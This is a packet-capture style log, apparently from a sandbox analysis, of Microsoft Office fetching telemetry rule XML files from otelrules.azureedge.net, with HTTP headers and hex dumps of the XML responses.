2024-11-30 21:54:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.9	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:21 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:21 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215421Z-174f7845968cpnpfhC1EWR3afc00000011n000000000au01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:21 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:22 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:22 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9f20eb28-201e-005d-0bb5-42afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215422Z-174f7845968zgtf6hC1EWRqd8s0000000v20000000001wuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:22 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:22 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 8d8a3cd7-301e-001f-2922-41aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215422Z-174f7845968psccphC1EWRuz9s00000012b00000000035yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.9	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:22 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:23 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215423Z-174f7845968xlwnmhC1EWR0sv800000011x0000000004zx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:23 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:22 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:23 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c3f555e4-101e-0028-3c1d-418f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215423Z-174f7845968px8v7hC1EWR08ng00000012c0000000001bva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:23 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.9	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:23 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 931d4756-e01e-001f-0f26-401633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215423Z-174f78459685726chC1EWRsnbg000000123g000000005t1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:24 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 2c5b27fb-c01e-000b-31d9-41e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215424Z-174f7845968vqt9xhC1EWRgten0000001250000000001wwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:24 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:25 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6e0e77ff-301e-0052-0b15-4165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215425Z-174f7845968pght8hC1EWRyvxg000000051g00000000nad8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:25 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f4671ffc-301e-0000-793a-40eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215425Z-174f7845968j6t2phC1EWRcfe8000000123000000000g50y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:25 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3a2442e1-a01e-001e-270d-4149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215425Z-174f7845968pght8hC1EWRyvxg00000005800000000020sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:25 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: fdaee32b-b01e-0084-190d-41d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215425Z-174f78459685m244hC1EWRgp2c00000011v000000000a7kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.9	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:26 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
